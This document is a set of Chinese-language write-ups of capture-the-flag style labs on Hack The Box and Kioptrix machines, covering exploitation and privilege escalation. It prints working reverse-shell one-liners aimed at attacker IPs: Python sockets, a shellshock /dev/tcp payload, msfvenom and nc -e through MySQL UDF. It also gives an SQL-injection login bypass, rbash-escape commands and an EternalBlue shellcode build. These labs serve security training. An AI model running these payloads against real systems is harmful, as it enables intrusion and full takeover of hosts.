HTB-Grandpa

0x01 端口扫描

开启了80端口,并且服务为Microsoft IIS httpd 6.0

访问80端口

0x02 IIS 6.0 RCE

小坑:

此处使用python2

使用前需要将exp更名为iis6webday.py

此处可以看到并非system权限,需要进行提权

0x03 本地脆弱性搜集

大量可利用漏洞

0x04 FTP文件传输

经测试无法使用以下命令

wget
curl
bitsadmin
powershell

但可使用ftp命令,本机开启FTP服务

找个目录存放payload

创建一个ftp.txt文件,其中包含下载MS08-025.exe的命令

ftp -v -n -s:ftp.txt
  • -v:不显示远程服务器响应
  • -n:禁止第一次连接时自动登陆
  • -s:filename指定包含ftp命令的文本文件,ftp命令启动后将自动运行这些命令。注意加的参数中不能有空格。

小坑:

此处只有-s后才可接文件名,不要写错参数位置。

0x05 巴西烤肉

下载pr.exe后运行尝试whoami命令

添加新用户用户,并将新用户添加到管理员组

失败

上传nc.exe(方法同上),利用nc.exe获取反弹shell

kali开启nc监听8888端口

执行命令获取反弹shell

pr失败,更换churrasco.exe成功

0x06 总结

  • IIS 6.0 RCE
  • 仔细查看exp要求,更改名称
  • 通过写入txt文件使用ftp下载payload
  • 上传nc获取SYSTEM权限反弹shell

HTB-Friendzone

0x01 端口扫描

  • 21端口:FTP服务
  • 22端口:SSH服务
  • 53端口:DNS服务
  • 80端口:HTTP服务
  • 139端口:SAMBA文件共享服务
  • 443端口:HTTPS服务
  • 445端口:SAMBA文件共享服务

0x02 SAMBA文件共享目录枚举

首先列出samba文件共享

使用命令访问各个目录,其中-N表示匿名登陆

下载creds.txt文件

同样访问其他目录,无其他文件

查看刚下载的creds.txt文件

获得像是某个系统的admin账号及密码

0x03 DNS域传送

访问80端口获取如下页面

页面的邮件信息域名结合nmap的commonName=friendzone.red的信息我们可确认域名为friendzone.red,因此我们需要修改本机的hosts文件并重启服务

获取到三个额外的域名

将上述三个域名添加到hosts文件,重新进行访问

此处需注意,访问http的三个站点和默认站点相同毫无收获,而使用https再重新访问则会获得一个文件上传点和一个后台登陆点

0x04 任意文件上传

此处未限制文件后缀,可上传任意文件

但无法找到路径,同时上传多大的文件时间间隔都差不多,甚至无法确定是否真的上传还是只是固定响应效果。

0x05 泄露登录凭证

看这这个登陆页面,结合之前samba获得的疑似admin用户的账户密码,尝试进行登陆,登陆成功

根据页面提示我们访问/dashboard.php

提示我们可使用 image_id= 和 pagename 参数访问特定内容,并提供了示例

0x05 LFI本地文件包含漏洞

构造url测试参数是否存在目录穿越漏洞

https://administrator1.friendzone.red/dashboard.php?
image_id=a.jpg&pagename=../../../../../etc/passwd

不存在目录穿越

构造url尝试是否存在LFI漏洞

构造url加载当前页面,出现了无限循环的自加载情况,说明存在LFI漏洞,且后缀可能限定了为.php

0x06 组合利用漏洞线索执行RCE

总结目前情况,我们拥有一个LFI可以触发php文件,同时我们拥有一个可以上传php文件的目录

这里依然使用自带的php-reverse-shell.php,将文件上传到samba目录。

连接Development目录并上传php反弹shell

构造url使LFI触发我们的反弹shell,并监听1101端口,获得管理员权限

0x07 本地脆弱性枚举

查看到当前用户目录下存在MySQL数据库配置文件。

其中包含数据库的用户名及密码,尝试使用该账户登陆ssh

当前的friend用户无法使用sudo命令

0x08 pspy动态、实时命令检测

上传成功后赋予权限并运行

观察发现每隔两分钟python和bash都会执行reporter.py,那我我们能够修改reporter.py即可获取root权限。

查看reporter.py的内容

查看我们是否具有对该文件的写入权限

当前用户不具备写入的权限。

但我们可以在reporter.py中发现该脚本引入了os链接库

进一步搜集脆弱性

此处我们获得信息,虽然我们没有写入reporter.py的权限,但是我们拥有写入os.py的权限。

0x09 python链接库文件修改

使用命令在os.py文件中插入反弹shell代码,将原来的os.py删除替换成我们改过的。

监听8888端口,等待两分钟执行脚本,获取root权限

0x10 总结

  • 列出smaba共享并查看是否有可用信息
  • DNS域传送获取更多站点信息
  • 注意http和https不同,可能获得更多功能点
  • 通过上传不同大小的文件的时间间隔判断是否真存在文件上传
  • smaba获取的path上传文件配合LFI获取反弹shell
  • 当前用户根目录数据库文件获取用户名密码,尝试登陆ssh
  • pspy实时抓取命令,判断定时任务
  • 无权限修改定时任务的脚本,则修改脚本引入的库文件
  • 不会用vi,用smb下载到本地修改完上传回去,删除旧的用新的替换,曲线救国

HTB-Devel

0x01 端口扫描

  • 21端口:FTP服务
  • 25端口:邮箱服务
  • 110端口:邮箱服务

目标明确,尝试FTP匿名登录

0x02 FTP匿名登录

通过列出目录信息发现存在IIS默认页面iisstart.htm,这意味着该目录可能也是目标主机的http服务相关目录,访问80端口印证了我们的猜想。

为了进一步验证猜想,我们发现目录下还有welcome.png,访问该文件

这意味着该主机的ftp目录与http目录相同,因此我们通过ftp上传webshell可接管网站。

0x03 借助FTP匿名访问获得webshell

put命令上传webshell到ftp目录

访问webshell并执行whoami

msfvenom生成/上传webshell

监听1101端口

访问上传的webshell

收到反弹shell

使用命令查看系统配置

可以看到该机器没有打补丁,可搜搜可利用的漏洞进行提权

将后门自动迁移到稳定的进程

0x04 提权

以上为可能可利用的漏洞,挑选进行尝试

获取system权限

0x05 总结

  • 使用ftp匿名登录搜集信息
  • 结合ftp目录及web目录判断同目录
  • ftp上传webshell获取低权限
  • systeminfo查看补丁信息获取提权可用漏洞
  • 提权,根据windows shell和meperpreter使用不同的命令查找flag

HTB-Cronos

0x01 端口扫描

端口扫描结果如下

  • 22端口:SSH服务
  • 53端口:DNS服务
  • 80端口:HTTP服务

访问80端口,出现Apache页面

此处说明,HTB的主机都提供了域名,每台主机域名均为主机名.htb

因此我们修改Host查看是否存在其他页面

访问http://cronos.htb/

获得如下页面

此处点击按钮能够发现跳转至laravel相关的页面,因此我们合理推测该系统使用laravel搭建。

0x02 兔子洞-laravel-RCE

此处下载的laravel的exp都不能使用,页面源码也看不到版本是多少,通过下方连接会跳转到laravel页面并显示10.X版本。此处我们无法获取更多线索也无法得知为什么exp不起作用,此类似是而非的漏洞统称兔子洞,我们暂且搁置不要浪费大量时间。

0x03 DNS域传送

放弃80端口我们只剩下22端口的SSH和53端口的DNS,22端口SSH的爆破难度高几率渺茫,暂且搁置。目标对准DNS服务。

此处说明DNS域传送漏洞,DNS域传送本质是泄露了域名与IP的对应关系的数据,因为多台DNS服务器之间可能需要同步最新的域名与IP的对应关系,正常情况下同步请求命令只允许特定的DNS服务器执行和访问,但由于配置错误或疏忽,允许任意IP主机向DNS服务器发起请求同步信息的话,我们就能获得最新的域名和IP对应关系,即DNS域传送漏洞

通过该漏洞我们额外获得了三个域名。

将三个子域名加入到hosts文件中进行访问

访问过后发现新页面只有admin.cronos.htb

0x04 表单数据与SQL注入

此处获得一个302跳转,并且跳转的页面为welcome.php,此时测试的参数为username。

因此我们完全有理由相信username参数存在sql注入,并且有sql语句触发了登陆操作,说明我们可以通过注入免密登陆。此处使用authentication bypass payload,此处包含了绝大多数的注入语句payload

此处使用payload成功无密码登陆

admin' -- -

其中 — – 为注释,故使用 admin’# 同样可以免密登陆。

0x05 授权后的RCE

熟悉的味道,构造payload浅尝一下

开启本地监听1101端口

获得www-data的反弹shell

开启一个标准bash终端

可使用内核提权(不推荐)

0x06 本地脆弱性搜集

一个root身份每秒钟执行一次的任务

php /var/www/laravel/artisan # 核心内容
schedule:run >> /dev/null 2>&1 # 不输出定时任务的执行结果

使用命令查看/var/www/laravel/artisan的文件类型

可知这是一个php文件

查看该文件的权限

所有者为当前用户,因此我们具有写权限

综合以上我们使用php的木马更名为同名文件,并将原来的删除即可获取到root权限。

0x07 crontab提权

上传木马并更改文件名

获取root权限

0x08 总结

  • 面对无法成功的漏洞不要浪费太多时间
  • 53端口DNS服务的域传送漏洞获取额外的信息
  • 通过sql注入免密登陆系统
  • 使用授权后的RCE获取网站管理员的反弹shell
  • 通过替换定时任务执行的脚本获取root权限

HTB-BLUE

0x01 端口扫描

其中常见端口如下:

  • 445端口:SMB服务
  • 139端口:SMB服务

MS17-010自动化利用失败

尝试对windows目标利用该漏洞时,无论使用MSF自带的ms17-010-command还是ms17-010-psexec模块,或者github上的zzz_exploit.py都有概率获得漏洞利用失败的反馈,具体如下:

Not found accessible named pipe!

尤其是windos系统为windows7或更新版本时,几乎会百分百触发失败反馈。

这是由于上述集中exploit的利用方式均依赖于目标主机的命名管道(named pipe),而在windows server 2003及之后版
本的操作系统默认不提供允许匿名访问的命名管道,因此导致依赖此类利用方式的MS17-010漏洞exploit失效。

脚本确认是否存在漏洞

根据上方扫描大致确定系统为windows7,大致确定在MS17-010漏洞影响范围内,使用Nmap脚本确定是否可利用。

nmap --script vuln 10.10.10.40 -p 445

通过扫描结果可发现该主机未安装补丁,可利用

0x02 绕过命名管道限制利用MS17-010

首先列出SMB共享信息

尝试访问,未发现有用信息。

那接下来目标很明确,使用MS17-010开打。

根据是否需要使用pipe来决定使用哪种,需要命名管道则使用zzz,不需要则使用exploit7

若不使用命名管道的方式则需要向exploit提供目标主机IP以及shellcode,在文件夹中可看到两个asm文件及

shellcode,分别对应64位和32位,大部分windows7都是使用64位,因此我们使用64位的。

到shellcode目录下找到64位的shellcode使用命令,将其转换成bin文件

nasm -f bin ./eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

使用msfvenom生成x64架构的windows反弹shell可执行程序,且输出文件也设定为bin格式。并监听好端口。

msfvenom -p windows/x64/shell_reverse_tcp LPORT=1101 LHOST=10.10.16.2 --platform windows -a x64 --
format raw -o sc_x64_payload.bin

接下来将kernel.bin和payload.bin合并为新的shellcode

cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
python2 eternalblue_exploit7.py 10.10.10.40 shellcode/sc_x64.bin

执行该命令后将获得反弹shell

0x03 总结

  • 使用exploit还原成bin文件
  • 使用msfvenom生成bin文件
  • 两个bin文件合成为一个bin文件

HTB-Beep

0x01 端口扫描

开启端口情况如下:

  • 22端口:SSH服务
  • 25端口:SMTP服务
  • 80端口:http服务
  • 110端口:pop3服务
  • 443端口:https服务
  • 3306端口:MySQL服务

0x02 Elastix系统

访问页面,此处有小坑:

不支持低版本TLS,修改配置即可

搜索该系统发现两个exp,分别是LFI和RCE

Elastix 2.2.0-LFI(本地文件包含)漏洞

使用exp构造连接并访问页面

成功触发漏洞并获得大量信息

通过该文件我们可获得大量的敏感信息,其中包含疑似用户名与疑似密码的信息,分别保存为两个文件进行爆破。

0x03 ssh爆破

此处小坑:

could not connect to ssh:

在/etc/ssh/sshd_config下加入如下内容

KexAlgorithms diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-groupexchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdhsha2-nistp521,diffie-hellman-group1-sha1

重启ssh服务

根据客户端还是服务端报错进行修改,客户端报错就修改ssh_config,服务端就修改sshd_config,缺少mac

algo就将ssh_config中的Macs的注释解除。

成功获得root账户和密码

SSH远程登陆,获取root权限

0x04 Elastix RCE

下载并查看exp

可发现除了ip和端口还需要一个参数ext

ension,该参数相当于系统的唯一标识码。

通过目录爆破获得panel路径,访问查看到extension值为233

开启监听443端口并使用exp,获得shell,非root权限

0x05 Nmap提权

查找可用于提权的应用

sudo nmap -interactive
!sh

0x07 无回显shellshock漏洞

访问10000端口内容如下

查看源代码发现加载了cgi文件,cgi是shellshock漏洞的常用载体

抓包并进行尝试

此处无回显,采用类似sql盲注的方式,使用sleep方式使其延迟10秒返回响应

() { :;};sleep 10;

确认确实存在shellshock漏洞,监听本地端口并构造exp获取反弹shell

() { :;};/bin/bash -i >& /dev/tcp/10.10.10.62/1101 0>&1;

成功获取root权限

0x08 总结

  • 浏览器about:config选项可设置TLS版本低导致的无法访问
  • Elastix LFI获取敏感信息
  • 根据报错修改ssh_config(客户端)和sshd_config(服务端)配置文件
  • Elastix RCE
  • Nmap提权
  • 注意加载的cgi脚本等文件
  • 无回显的shellshock

HTB-Bashed

0x01 端口扫描

开启端口信息如下:

  • 80端口:http服务

访问80端口出现如下页面

查看页面源代码未获得有价值信息

点击链接获得如下信息,phpbash可能是个开源系统。

0x02 目录扫描

对该站点进行目录遍历

获取到/dev/phpbash.min.php和/dev/phpbash.php两个页面,均能够执行命令

现成的webshell,方便多了

0x03 暴露的webshell程序

我们获得了一个现成的webshell,因此我们执行命令反弹shell即可。我们使用python -h发现目标主机存在python环境

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",1101));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功获得一个反弹shell

使用命令开启标准终端并禁用回显

python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo

至此我们接管了网站

0x04 目标本地脆弱性搜集

由此我们得知www-data用户可以免密码通过sudo命令以scriptmanager用户的身份执行任意命令。

0x05 本地脆弱性1-sudo权限

使用命令获取scriptmanager用户权限

上传脚本发现脆弱性

此处我们发现最近五分钟被人编辑过,该靶机应该只有我们一个人操作,因此可能存在定时任务。

为了验证上述假设,我们访问/scripts/目录,查看最后编辑时间

我们发现时间间隔为1分钟,因此我们判断存在时间间隔为1分钟的定时任务。

查看test.py文件内容

其内容为打开test.txt,写入testing 123!

打开test.txt查看,内容吻合

并且我们需要注意到该test.txt文件所有者为root,只有root用户可以写入,那么说明执行test.py文件的计划任务具有root权限,而test.py

的所有者是我们,因此我们可以通过修改test.py文件去利用定时计划的root权限。

修改python脚本内容如下:

import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

使用命令直接写入

echo "import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((\"10.10.16.2\",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([\"/bin/sh\",\"-i\"])" > test.py

此处小坑,切记echo命令写入时会丢失双引号,要在双引号前加反斜杠避免丢失!!!

kali开始监听1234端口然后等待1分钟。

成功获得root权限

0x06 总结

  • 目录遍历获取额外链接
  • 利用存在的webshell接管网站
  • 本地脆弱性枚举获取存在定时任务信息
  • 修改定时任务调用脚本,窃取计划任务的root权限
  • 使用\合理规避echo命令不完整问题

HTB-Kioptrix 2014

0x01 主机发现

0x02 端口扫描

  • 22端口:关闭
  • 80端口:http服务
  • 8080端口:http服务

访问80为apache初始页面

访问8080禁止访问

对80端口页面进行探测

查看网页源代码从注释中获得信息

访问该地址

0x03 pChart 2.X 目录穿越

利用该漏洞读取到/etc/passwd文件

通过该漏洞我们还可以读取Apache中间件的主配置文件httpd.conf,确认无法访问8080端口的原因。可通过Apache官方提供的站点查找路径

结合nmap的扫描结果,Apache2.2.21版本,FreeBSD操作系统查找到对应路径。

访问httpd.conf文件发现其对文件最下方进行了设置

仅允许Mozilla/4.0 Mozilla4_browser才允许访问。

0x04 伪造UA访问资源

打开Bp并抓包,或者浏览器插件user agetn switcher修改UA为Mozilla/4.0并访问

同样修改UA,访问phptax/

0x05 phptax RCE

存在一个没有回显的RCE,因此无法实时确定命令是否执行成功,所以这里可以将命令结果写入目标主机的本地文件,通过访问被写入的文件确认命令执行的情况。

访问写入的文件

成功执行whoami并且权限为www

将whoami命令换成sudo -l,?等命令均无信息,直接用nc反弹shell试试。

无法获得反弹shell

直接写个一句话木马进去试试

此处要注意空格符号中英文及\转义等,否则会因为书写不完整无法使用

访问shell测试一下

nc监听反弹shell

0x07 主机信息搜集

本机只有两样东西,这也没有和那也没有,有gcc,可以考虑脏牛等提权,uname -a查看下系统信息,得知系统为amd64位FreeBSD 9.0系统。

0x08 FreeBSD 9 内核提权

利用之前上传的一句话木马查找路径

编译文件并执行

获取root权限

0x09 总结

  • 源代码泄露获取额外页面
  • pChart目录穿越漏洞获取Apache中间件配置文件
  • 伪造UserAgent访问到其他页面
  • phptha RCE上传一句话木马
  • 通过一句话使用nc上传反弹shell
  • FreeBSD内核提权

HTB-Kioptrix level 4

0x01 主机发现

0x02 端口扫描

常见开放端口如下

  • 22端口:ssh服务
  • 80端口:http服务
  • 139端口:samba服务
  • 445端口:samba服务

访问页面

0x03 SQL注入

输入任意用户名密码抓包,丢sqlmap

得知mypassword字段存在注入,数据库为MySQL

测试过程中出现302重定向,由于目前使用的测试流量是基于用户登录操作请求的报文格式,因此302状态码

意味着sqlmap语句成功登录了系统

一把梭

使用两个账户登录网站

均无可操作选项

0x04 SSH服务

使用上述账户尝试SSH远程登陆

登陆成功,但获得的是一个受限制的rbash。

0x05 rbash逃逸

由于设置rbash限定的命令种类存在疏忽,给我们留了echo命令,因此我们可以借助echo命令来rbash逃逸,

获得一个bash shell。

此处利用echo调用了os.system()函数,并在rbash中运行了bash shell

常见rbash命令如下:
ftp
more
less
man
vi
vim
以上命令可在输入点输入!/bin/sh或!/bin/bash命令实现rbash逃逸
awk:
awk'BEGIN{system("/bin/sh")}'或awk'BEGIN'{system("/bin/bash")}'
find:
find / -name SomeName -exec /bin/sh \;和find / -name SomeName -exec /bin/bash \;
Python:
python -c 'import os; os.system("/bin/sh")'
php:
php -a then exec("sh-i");
Perl:
perl -e 'exec "/bin/sh";'
lua:
os.execute('/bin/sh')
ruby:
exec "/bin/sh"

0x06 主机信息搜集

开启http服务并上传脚本

连接等待许久,无法连接成功,猜测可能主机设置了策略禁止连接远程主机的80端口,因此我们更换端口尝试绕过

获得信息可内核提权(不推荐!),并且Mysql的root用户无密码

0x07 MySQL UDF提权

已知MySQL的root账户没有密码,因此可直接登陆MySQL服务,同时查看进程

MySQL进程以root权限执行。因此我们可以通过无密码的MySQL系统root账户登陆由系统root账户启动的

MySQL服务,从而以系统root用户权限执行一些MySQL数据库指令。

登录MySQL

登陆成功

UDF是用户自定义函数,是MySQL的一个拓展接口。用户可通过UDF在MySQL中调用一些原来不具备的功能

直接使用UDF提权需具备以下两个条件
1.MySQL版本在5以上
2.存在lib_mysqludf_sys。该文件可调用sys_exec执行任意命令,若不存在需要手工添加

系统中存在,可直接调用sys_exec。拥有了使用MySQL函数执行系统命令的权力,且执行命令没有范围限制,意味着可使用多种提权方法。

  • 利用root权限构建一个SUID程序
  • 利用root身份执行命令,创建一个反弹shell
  • 利用root权限将当前用户加到管理员用户组

利用root权限创建一个SUID程序提权

SELECT sys_exec('chmod u+s /usr/bin/find');
quit

利用sys_exec给普通用户的find命令赋予root权限,待执行完毕后恢复普通权限。

赋予权限之后输入退出MySQL系统

使用find随便查找一个文件并结合上文的find rbash逃逸方法进行逃逸。

touch test
find test -exec "whoami" \;

可以看到成功以root权限执行

创建一个bash shell

成功获得root权限的shell

利用root身份执行命令获得反弹shell

确定下nc的位置

创建nc监听8888端口,登陆MySQL并执行命令

SELECT sys_exec('/bin/nc.traditional -e /bin/sh 192.168.6.129 8888');

查看nc

成功获取root权限反弹shell

利用root权限将当前用户加到管理员用户组

刷新当前John用户账号的环境变量,这里需要输入一次当前用户的密码

0x08 总结

  • 获取用户密码无操作选项可尝试ssh等,许多人有账户密码多用的习惯
  • 受限的rbash可使用 ? 查看是否可rbash逃逸的命令,常见如 echo、find、python、php、ruby 等
  • MySQL UDF提权具备两个必然条件:1.MySQL要5.0以上 2.登陆MySQL,use mysql执行SELECT * from func;拥有 lib_mysqludf_sys 。
  • MySQL UDF 提权三种思路:1.利用root权限构建SUID程序使特定命令具有root权限,然后运行bash获得root权限shell 2.利用root身份找到nc所在位置,使用nc反弹shell 3.利用root权限将当前用户加入到管理员组,切换root前需刷新账户环境并且输入当前用户密码。

HTB-Kioptix level 3

0x01 主机发现

0x02 端口扫描

常见开放端口如下:

  • 22端口:ssh服务
  • 80端口:http服务

查看页面

获取CMS信息

0x03 意外

点击photpshot

跳转页面如下

再三确认该域名非实验环境自带,怀疑自己中毒

更换浏览器均跳转该页面,排除浏览器被修改可能

sysmon、autorun、火绒剑一把梭,没发现任何

另开一台机器访问查看仍然存在异常,排除自己电脑中毒可能

比对靶机hash相同,不存在夹带私货,推测该内容仅能通过域名访问,而我未修改host文件导致。

0x04 信息搜集

点击Login获得一个登录口,并且获得信息建站系统为 LotusCMS,点击blog获得一个链接以及一个提交

直接访问链接同样会直接跳转到黄色网站。这里可能只能通过域名才能访问到资源,因为访问时的顺序是先查找本地的host文件中是否有记录,若有则直接访

问,若没有则询问最近的dns服务器,以此类推。因此我们修改本地的dns将域名放在我们的靶机ip地址上进行访问。

同时点击now也不再弹出黄色网站,表明并非中毒,而是解析不到域名时进行的跳转,至于为什么一直跳转这个站还不清楚。

对其进行目录和文件枚举

可看到有phpmyadmin等内容

使用admin账户及空密码登录

MySQL数据库的管理员账号是root,因此admin账户明显不具有最高权限,无权创建数据库,也没有查看数据库的权限,只能显示information_schema虚拟

数据库。

查看version.txt

0x05 线索整理

通过version.txt获得线索站点 http://kioptrix3.com/gallery 是基于 Gallarific 2.1 搭建的,且版本为上古版本。

能够搜索到一个SQL注入漏洞,通过搜索LotusCMS可得知LotusCMS3.0版本存在RCE

0x06 LotusCMS RCE

开启监听

踩坑:

此处踩坑,使用exp直接输入域名无法运行,输入ip则可运行。最终发现是只在windows里修改了host文件,kali里忘记修改了导致无法解析到。前面使用dirbuster爆破失败也是同理。

获取www权限

内核提权(生产环境不推荐!)

踩坑:

1.使用MSF的默认payload没修改URI,默认的URI路径为/lcms/,但没有这个路径,需要修改为/

2.dirty cow提权后使用原生shell很难受,一度以为机器卡死或者命令用不了,使用交互shell

拿到root权限

0x07 SQL注入获取登录凭证与sudo提权

Gallarific存在注入,最终拿到用户如下

源码中找到后台地址

登录后台

尝试上传了图片马,没连上(太菜了)

尝试读取另一个数据库中的账户和密码

获得两个用户名密码,从RCE拿到的shell中查看/etc/passwd可以得知dreg用户使用的是受限制的rbash,loneferret用户使用的是bash,rbash权限较低需要先

rbash逃逸,此处直接登录loneferret用户

这里报错了,因为openssl 7.0版本以后不再支持DSA算法,因此使用命令

登录成功

checksec.sh属于root且有写入权限,可通过修改该文件内容等待root执行获取root权限。

CompanyPolicy.README文件说我们看文件编辑文件等都可以通过命令 sudo ht 来实现。

输入命令查看是是否有权限执行

此处小坑在于之前先用Dirty Cow拿到了root权限并且已经将root用户改名成了firefart,需要先用firefart修改/etc/pawwsd中的用户为root才能正常列出有执行权限的内容。

有执行权限并且不需要root密码

使用命令开启具有root权限的ht编辑器,并且解决报错xterm-256color

sudo ht
export TERM=xterm

可通过修改以下文件来提权:

  • /etc/sudoers:因该文件包含每个用户可在不输入密码情况下使用sudo命令的范围,即sudo -l获得的内容,可直接修改当前loneferret用户添加无须密码执行sudo /bash的权限。
  • /etc/shadow:
  • /etc/passwd:

修改/etc/sudoers

f3打开/etc/sudoers,给当前用户添加/bin/bash,切记/bin/bash前要加逗号,不然ht和bash都用不了了。

修改/etc/shadow

用户密码都以加密的形式保存在/etc/shadow中,清空root的密码就能直接登录了

修改/etc/passwd

在其中插入一个新的root用户

0x08 总结

  • 修改host访问更多资源,搜集信息
  • LotusCMS RCE,切记修改路径
  • Dirty Cow提权后使用交互shell更舒服
  • SQL注入获取登陆凭证
  • 修改soduers/passwd/shadow提权